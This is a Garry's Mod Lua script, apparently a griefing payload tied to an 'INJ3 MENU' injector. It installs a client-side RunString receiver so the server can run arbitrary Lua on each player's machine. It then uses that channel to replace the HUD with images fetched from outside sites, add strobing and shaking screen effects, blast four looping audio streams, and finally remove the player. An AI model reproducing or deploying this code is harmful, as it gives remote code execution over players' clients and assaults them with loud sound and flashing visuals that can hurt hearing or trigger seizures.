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  1. --[[
  2. File: ?.lua
  3. For: Annoying pirates to death, then annoying them some more until they die a second time
  4. By: Ultra
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11. local ret = ""
  12. for _ = 1, math.random( intMin, intMax ) do
  13. ret = ret.. string.char( math.random(65, 90) )
  14. end
  15.  
  16. return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32. if not IsValid( pPlayer ) then return end
  33. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34. self:NextAction( pPlayer )
  35. end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "slua" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "lol jk" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69. end
  70. end )
  71.  
  72.  
  73.  
  74. --Sequence stack
  75. --Start some tunes and steam in our assets
  76. lol:PushAction( 0, function( pPlayer )
  77. lol:SendLua( pPlayer, ([=[
  78. sound.PlayURL( "http://lareflol.iblogger.org/screen.mp3", "", function()end )
  79.  
  80. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  81. local html = [[%s]]
  82. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  83. local pnl = vgui.Create( "HTML" )
  84. pnl:SetPos( ScrW() -1, ScrH() -1 )
  85. pnl:SetVisible( true )
  86. pnl:SetMouseInputEnabled( false )
  87. pnl:SetKeyBoardInputEnabled( false )
  88. pnl:SetSize( intSizeX, intSizeY )
  89. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  90.  
  91. local PageLoaded
  92. PageLoaded = function()
  93. local mat = pnl:GetHTMLMaterial()
  94. if mat then
  95. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  96. return
  97. end
  98.  
  99. timer.Simple( 0.5, PageLoaded )
  100. end
  101.  
  102. PageLoaded()
  103. end
  104.  
  105. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  106. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  107. LoadWebMaterial( "https://www.zupimages.net/up/19/24/ojdl.jpg", "hud3", 222, 200 )
  108. LoadWebMaterial( "http://inj3menu.000webhostapp.com/muerte.gif", "xhair", 240, 320 )
  109. LoadWebMaterial( "https://www.zupimages.net/up/19/24/mn6g.png", "doritos", 183, 256 )
  110. LoadWebMaterial( "http://inj3menu.000webhostapp.com/hacked.png", "fedora", 128, 128 )
  111. LoadWebMaterial( "http://inj3menu.000webhostapp.com/rip.png", "dew", 110, 256 )
  112. LoadWebMaterial( "https://zupimages.net/up/19/24/j5zn.png", "awp", 128, 128 )
  113. ]=]):format(lol.m_strImageLoadHTML) )
  114. end )
  115.  
  116. --HUD swap
  117. lol:PushAction( 31, function( pPlayer )
  118. lol:SendLua( pPlayer, [[
  119. (GAMEMODE or GM).CalcView = function() end
  120. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  121.  
  122. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  123. for k, v in pairs(remove) do
  124. hook.GetTable()[v] = {}
  125. end
  126.  
  127. local function GetWebMat( strURL )
  128. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  129. end
  130.  
  131. hook.Add( "HUDPaint", "newhud", function()
  132. surface.SetDrawColor( 255, 255, 255, 255 )
  133.  
  134.  
  135. if GetWebMat( "hud1" ) then
  136. surface.SetMaterial( GetWebMat("hud1")[1] )
  137. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  138. end
  139. if GetWebMat( "hud2" ) then
  140. surface.SetMaterial( GetWebMat("hud2")[1] )
  141. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  142. end
  143. if GetWebMat( "hud3" ) then
  144. surface.SetMaterial( GetWebMat("hud3")[1] )
  145. surface.DrawTexturedRect( 45, ScrH() -350, 350, 350 )
  146. end
  147. if GetWebMat( "xhair" ) then
  148. surface.SetMaterial( GetWebMat("xhair")[1] )
  149. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  150. end
  151.  
  152. if GetWebMat( "doritos" ) then
  153. surface.SetMaterial( GetWebMat("doritos")[1] )
  154. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 250 *(350 /350), 256, CurTime() *512 )
  155. end
  156. if GetWebMat( "dew" ) then
  157. surface.SetMaterial( GetWebMat("dew")[1] )
  158. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  159. end
  160. if GetWebMat( "fedora" ) then
  161. surface.SetMaterial( GetWebMat("fedora")[1] )
  162. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  163. end
  164. if GetWebMat( "awp" ) then
  165. surface.SetMaterial( GetWebMat("awp")[1] )
  166. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  167. end
  168. if GetWebMat( "dew" ) then
  169. surface.SetMaterial( GetWebMat("dew")[1] )
  170. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  171. end
  172. if GetWebMat( "fedora" ) then
  173. surface.SetMaterial( GetWebMat("fedora")[1] )
  174. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  175. end
  176. if GetWebMat( "awp" ) then
  177. surface.SetMaterial( GetWebMat("awp")[1] )
  178. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  179. end
  180.  
  181. draw.SimpleTextOutlined(
  182. "Menu de INJ3 \"INJ3 MENU\" - SCRIPT V4.1",
  183. "DermaLarge",
  184. ScrW() /2 +math.random( -8, 8 ),
  185. ScrH() /2 +math.random( -8, 8 ) +64,
  186. Color( 0, 69, 175, 250 ),
  187. TEXT_ALIGN_CENTER,
  188. TEXT_ALIGN_CENTER,
  189. 1,
  190. Color( 0, 0, 255, 255 )
  191. )
  192. end )
  193.  
  194. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  195. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  196.  
  197. surface.PlaySound( "garrysmod/save_load4.wav" )
  198. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  199. ]] )
  200. end )
  201.  
  202. --Disco time
  203. lol:PushAction( 10, function( pPlayer )
  204. local idx = pPlayer:EntIndex()
  205. timer.Create( "beat".. idx, 0.42, 0, function()
  206. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  207. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  208. end )
  209.  
  210.  
  211. lol:SendLua( pPlayer, [[
  212. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  213. local time = 0
  214.  
  215. hook.Add( "Think", "wat", function()
  216. if CurTime() < time then
  217. return
  218. end
  219.  
  220. time = CurTime() +0.05
  221. for i = 1, 16 do
  222. local part = emitter:Add(
  223. "particles/balloon_bit",
  224. LocalPlayer():GetPos() +Vector(
  225. math.random( -256, 256 ),
  226. math.random( -256, 256 ),
  227. 256
  228. )
  229. )
  230.  
  231. if part then
  232. local Size = math.random( 4, 7 )
  233.  
  234. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  235. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  236. part:SetDieTime( 4.5 )
  237. part:SetGravity( Vector(40, 0, -250) )
  238. part:SetLifeTime( 0 )
  239. part:SetStartSize( Size /2 )
  240. part:SetEndSize( Size )
  241. part:SetCollide( true )
  242. end
  243. end
  244. end )
  245. ]] )
  246.  
  247. lol:SendLua( pPlayer, [[
  248. hook.Add( "RenderScreenspaceEffects", "wat", function()
  249. local sinScaler = math.sin( CurTime() )
  250. DrawBloom(
  251. 0,
  252. 3,
  253. sinScaler *math.Rand(1, 8),
  254. sinScaler *math.Rand(1, 8),
  255. 6,
  256. math.Rand(0.5, 2),
  257. math.Rand(0, 0.3),
  258. math.Rand(0, 0.3),
  259. math.Rand(0.5, 1)
  260. )
  261.  
  262. DrawColorModify{
  263. ["$pp_colour_addr"] = 0,
  264. ["$pp_colour_addg"] = 0,
  265. ["$pp_colour_addb"] = 00,
  266. ["$pp_colour_brightness" ] = 0,
  267. ["$pp_colour_contrast" ] = 1,
  268. ["$pp_colour_colour" ] = 1,
  269. ["$pp_colour_mulr" ] = 0,
  270. ["$pp_colour_mulg" ] = 0,
  271. ["$pp_colour_mulb" ] = 1
  272. }
  273. end )
  274.  
  275. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  276. mdl:SetNoDraw( true )
  277. local posCache, time = {}, 0
  278.  
  279. hook.Add( "HUDPaint", "dance", function()
  280. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  281. local idx = mdl:LookupSequence("taunt_dance")
  282. mdl.SeqDuration = mdl:SequenceDuration( idx )
  283. mdl.SeqStart = CurTime()
  284. mdl:ResetSequence( idx )
  285. end
  286.  
  287. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  288.  
  289.  
  290. local w, h = 300, 300
  291. local ang = Angle( 0, 0, 0 )
  292.  
  293. for i = 1, 32 do
  294. if CurTime() > time then
  295. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  296. end
  297. local x, y = posCache[i][1], posCache[i][2]
  298.  
  299. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  300. cam.IgnoreZ( true )
  301. render.SuppressEngineLighting( true )
  302.  
  303. render.SetLightingOrigin( mdl:GetPos() )
  304. render.ResetModelLighting( 1, 1, 1 )
  305. render.SetColorModulation( 0, 0, 1 )
  306.  
  307. mdl:DrawModel()
  308.  
  309. render.SuppressEngineLighting( false )
  310. cam.IgnoreZ( false )
  311. cam.End3D()
  312. end
  313.  
  314. if CurTime() > time then
  315. time = CurTime() +0.15
  316. end
  317. end )
  318.  
  319. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  320. ]] )
  321. end )
  322.  
  323. --Let the beat drop
  324. lol:PushAction( 54, function( pPlayer )
  325. lol:SendLua( pPlayer, [[
  326. hook.Add( "GetMotionBlurValues", "wat", function()
  327. return 0, 0, 1, math.sin(CurTime() *13)
  328. end )
  329.  
  330. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  331. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  332. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  333. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  334. end )
  335.  
  336. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  337. render.SetMaterial( Material("cable/blue_elec") )
  338. for i = 1, 32 do
  339. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  340. end
  341. end )
  342.  
  343. timer.Create( "thedrop", 0.42, 0, function()
  344. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  345. end )
  346. ]] )
  347. end )
  348.  
  349. --EVIL TIME rip headpones
  350. lol:PushAction( 175, function( pPlayer )
  351. lol:SendLua( pPlayer, [[
  352. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  353.  
  354. local sounds = {}
  355. for i = 1, 4 do
  356. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  357. sounds[#sounds +1] = pChan
  358. end )
  359. end
  360.  
  361. timer.Create( "asdf", 1, 0, function()
  362. if #sounds ~= 4 then return end
  363. timer.Destroy( "asdf" )
  364. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  365. end )
  366.  
  367. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  368. ]] )
  369.  
  370. pPlayer:Remove()
  371. end )
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